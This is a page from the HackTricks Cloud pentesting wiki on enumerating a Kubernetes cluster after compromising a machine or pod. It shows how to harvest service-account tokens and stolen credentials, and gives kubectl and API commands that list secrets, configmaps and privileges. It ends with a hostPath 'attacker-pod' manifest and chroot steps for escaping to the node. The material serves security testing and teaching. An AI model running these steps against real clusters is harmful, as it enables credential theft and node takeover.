hacktricks-cloud/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md

# Kubernetes Enumeration

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

## Kubernetes Tokens

If you have compromised access to a machine the user may have access to some Kubernetes platform. The token is usually located in a file pointed by the **env var `KUBECONFIG`** or **inside `~/.kube`**.

In this folder you might find config files with **tokens and configurations to connect to the API server**. In this folder you can also find a cache folder with information previously retrieved.

If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env:

### Service Account Tokens

Before continuing, if you don't know what is a service in Kubernetes I would suggest you to **follow this link and read at least the information about Kubernetes architecture.**

Taken from the Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):

_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_

**ServiceAccount** is an object managed by Kubernetes and used to provide an identity for processes that run in a pod.\
Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties.

Usually **one** of the directories:

* `/run/secrets/kubernetes.io/serviceaccount`
* `/var/run/secrets/kubernetes.io/serviceaccount`
* `/secrets/kubernetes.io/serviceaccount`

contain the files:

* **ca.crt**: It's the ca certificate to check kubernetes communications
* **namespace**: It indicates the current namespace
* **token**: It contains the **service token** of the current pod.

Now that you have the token, you can find the API server inside the environment variable **`KUBECONFIG`**. For more info run `(env | set) | grep -i "kuber|kube`**`"`**

The service account token is being signed by the key residing in the file **sa.key** and validated by **sa.pub**.

Default location on **Kubernetes**:

* /etc/kubernetes/pki

Default location on **Minikube**:

* /var/lib/localkube/certs

### Hot Pods

_**Hot pods are**_ pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc.

## RBAC

If you don't know what is **RBAC**, **read this section**.

## GUI Applications

* **k9s**: A GUI that enumerates a kubernetes cluster from the terminal. Check the commands in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Write `:namespace` and select all to then search resources in all the namespaces.
* **k8slens**: It offers some free trial days: [https://k8slens.dev/](https://k8slens.dev/)

## Enumeration CheatSheet

In order to enumerate a K8s environment you need a couple of this:

* A **valid authentication token**. In the previous section we saw where to search for a user token and for a service account token.
* The **address (**_**https://host:port**_**) of the Kubernetes API**. This can be usually found in the environment variables and/or in the kube config file.
* **Optional**: The **ca.crt to verify the API server**. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using `--insecure-skip-tls-verify` with `kubectl` or `-k` with `curl` you won't need this.

With those details you can **enumerate kubernetes**. If the **API** for some reason is **accessible** through the **Internet**, you can just download that info and enumerate the platform from your host.

However, usually the **API server is inside an internal network**, therefore you will need to **create a tunnel** through the compromised machine to access it from your machine, or you can **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, or use **`curl/wget/anything`** to perform raw HTTP requests to the API server.

### Differences between `list` and `get` verbs

With **`get`** permissions you can access information of specific assets (_`describe` option in `kubectl`_) API:

```
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
```

If you have the **`list`** permission, you are allowed to execute API requests to list a type of asset (_`get` option in `kubectl`_):

```bash
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
```

If you have the **`watch`** permission, you are allowed to execute API requests to monitor assets:

```
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]
```

They open a streaming connection that returns you the full manifest of a Deployment whenever it changes (or when a new one is created).

{% hint style="danger" %}
The following `kubectl` commands indicates just how to list the objects. If you want to access the data you need to use `describe` instead of `get`
{% endhint %}

### Using curl

From inside a pod you can use several env variables:

```bash
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
```

{% hint style="warning" %}
By default the pod can **access** the **kube-api server** in the domain name **`kubernetes.default.svc`** and you can see the kube network in **`/etc/resolv.config`** as here you will find the address of the kubernetes DNS server (the ".1" of the same range is the kube-api endpoint).
{% endhint %}

### Using kubectl

Having the token and the address of the API server you use kubectl or curl to access it as indicated here:

By default, The APISERVER is communicating with `https://` schema

{% code overflow="wrap" %}
```bash
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
```
{% endcode %}

> if no `https://` in url, you may get Error Like Bad Request.

You can find an [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). The goal of the following sections is to present in ordered manner different options to enumerate and understand the new K8s you have obtained access to.

To find the HTTP request that `kubectl` sends you can use the parameter `-v=8`

#### MitM kubectl - Proxyfying kubectl

```bash
# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true
```

### Current Configuration

{% tabs %}
{% tab title="Kubectl" %}
```bash
kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>
```
{% endtab %}
{% endtabs %}

If you managed to steal some users credentials you can **configure them locally** using something like:

```bash
kubectl config set-credentials USER_NAME \
   --auth-provider=oidc \
   --auth-provider-arg=idp-issuer-url=( issuer url ) \
   --auth-provider-arg=client-id=( your client id ) \
   --auth-provider-arg=client-secret=( your client secret ) \
   --auth-provider-arg=refresh-token=( your refresh token ) \
   --auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
   --auth-provider-arg=id-token=( your id_token )
```

### Get Supported Resources

With this info you will know all the services you can list

{% tabs %}
{% tab title="kubectl" %}
```bash
k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace
```
{% endtab %}
{% endtabs %}

### Get Current Privileges

{% tabs %}
{% tab title="kubectl" %}
```bash
k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
```
{% endtab %}

{% tab title="API" %}
```bash
kurl -i -s -k -X $'POST' \
    -H $'Content-Type: application/json' \
    --data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
    "https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
```
{% endtab %}
{% endtabs %}

Another way to check your privileges is using the tool: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*

You can learn more about **Kubernetes RBAC** in:

{% content-ref url="kubernetes-role-based-access-control-rbac.md" %}
[kubernetes-role-based-access-control-rbac.md](kubernetes-role-based-access-control-rbac.md)
{% endcontent-ref %}

**Once you know which privileges** you have, check the following page to figure out **if you can abuse them** to escalate privileges:

{% content-ref url="abusing-roles-clusterroles-in-kubernetes/" %}
[abusing-roles-clusterroles-in-kubernetes](abusing-roles-clusterroles-in-kubernetes/)
{% endcontent-ref %}

### Get Others roles

{% tabs %}
{% tab title="kubectl" %}
```bash
k get roles
k get clusterroles
```
{% endtab %}

{% tab title="API" %}
```bash
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"
```
{% endtab %}
{% endtabs %}

### Get namespaces

Kubernetes supports **multiple virtual clusters** backed by the same physical cluster. These virtual clusters are called **namespaces**.

{% tabs %}
{% tab title="kubectl" %}
```bash
k get namespaces
```
{% endtab %}

{% tab title="API" %}
```bash
kurl -k -v https://$APISERVER/api/v1/namespaces/
```
{% endtab %}
{% endtabs %}

### Get secrets

{% tabs %}
{% tab title="kubectl" %}
```bash
k get secrets -o yaml
k get secrets -o yaml -n custnamespace
```
{% endtab %}

{% tab title="API" %}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/

kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
```
{% endtab %}
{% endtabs %}

If you can read secrets you can use the following lines to get the privileges related to each to token:

```bash
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
```

### Get Service Accounts

As discussed at the begging of this page **when a pod is run a service account is usually assigned to it**. Therefore, listing the service accounts, their permissions and where are they running may allow a user to escalate privileges.

{% tabs %}
{% tab title="kubectl" %}
```bash
k get serviceaccounts
```
{% endtab %}

{% tab title="API" %}
```bash
kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
```
{% endtab %}
{% endtabs %}

### Get Deployments

The deployments specify the **components** that need to be **run**.

{% tabs %}
{% tab title="kubectl" %}
```bash
k get deployments
k get deployments -n custnamespace
```
{% endtab %}

{% tab title="API" %}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
```
{% endtab %}
{% endtabs %}

### Get Pods

The Pods are the actual **containers** that will **run**.

{% tabs %}
{% tab title="kubectl" %}
```bash
k get pods
k get pods -n custnamespace
```
{% endtab %}

{% tab title="API" %}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
```
{% endtab %}
{% endtabs %}

### Get Services

Kubernetes **services** are used to **expose a service in a specific port and IP** (which will act as load balancer to the pods that are actually offering the service). This is interesting to know where you can find other services to try to attack.

{% tabs %}
{% tab title="kubectl" %}
```bash
k get services
k get services -n custnamespace
```
{% endtab %}

{% tab title="API" %}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/default/services/
```
{% endtab %}
{% endtabs %}

### Get nodes

Get all the **nodes configured inside the cluster**.

{% tabs %}
{% tab title="kubectl" %}
```bash
k get nodes
```
{% endtab %}

{% tab title="API" %}
```bash
kurl -v https://$APISERVER/api/v1/nodes/
```
{% endtab %}
{% endtabs %}

### Get DaemonSets

**DaeamonSets** allows to ensure that a **specific pod is running in all the nodes** of the cluster (or in the ones selected). If you delete the DaemonSet the pods managed by it will be also removed.

{% tabs %}
{% tab title="kubectl" %}
```bash
k get daemonsets
```
{% endtab %}

{% tab title="API" %}
```bash
kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
```
{% endtab %}
{% endtabs %}

### Get cronjob

Cron jobs allows to schedule using crontab like syntax the launch of a pod that will perform some action.

{% tabs %}
{% tab title="kubectl" %}
```bash
k get cronjobs
```
{% endtab %}

{% tab title="API" %}
```bash
kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
```
{% endtab %}
{% endtabs %}

### Get configMap

configMap always contains a lot of information and configfile that provide to apps which run in the kubernetes. Usually You can find a lot of password, secrets, tokens which used to connecting and validating to other internal/external service.

{% tabs %}
{% tab title="kubectl" %}
```bash
k get configmaps # -n namespace
```
{% endtab %}

{% tab title="API" %}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps 
```
{% endtab %}
{% endtabs %}

### Get Network Policies / Cilium Network Policies

{% tabs %}
{% tab title="First Tab" %}
```bash
k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies
```
{% endtab %}
{% endtabs %}

### Get Everything / All

{% tabs %}
{% tab title="kubectl" %}
```bash
k get all
```
{% endtab %}
{% endtabs %}

### **Get all resources managed by helm**

{% tabs %}
{% tab title="kubectl" %}
```bash
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
```
{% endtab %}
{% endtabs %}

### **Get Pods consumptions**

{% tabs %}
{% tab title="kubectl" %}
```bash
k top pod --all-namespaces
```
{% endtab %}
{% endtabs %}

### Escaping from the pod

If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes.

```bash
kubectl get pod <name> [-n <namespace>] -o yaml
```

> if you need create pod on the specific node, you can use following command to get labels on node
>
> `k get nodes --show-labels`
>
> Commonly, kubernetes.io/hostname and node-role.kubernetes.io/master are all good label for select.

Then you create your attack.yaml file

```yaml
apiVersion: v1
kind: Pod
metadata:
  labels:
    run: attacker-pod
  name: attacker-pod
  namespace: default
spec:
  volumes:
  - name: host-fs
    hostPath:
      path: /
  containers:
  - image: ubuntu
    imagePullPolicy: Always
    name: attacker-pod
    command: ["/bin/sh", "-c", "sleep infinity"]
    volumeMounts:
      - name: host-fs
        mountPath: /root
  restartPolicy: Never
  # nodeName and nodeSelector enable one of them when you need to create pod on the specific node
  #nodeName: master
  #nodeSelector:
  #  kubernetes.io/hostname: master 
  # or using
  #  node-role.kubernetes.io/master: ""
```

[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)

After that you create the pod

```bash
kubectl apply -f attacker.yaml [-n <namespace>]
```

Now you can switch to the created pod as follows

```bash
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
```

And finally you chroot into the node's system

```bash
chroot /root /bin/bash
```

Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)

## References

{% embed url="https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3" %}

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}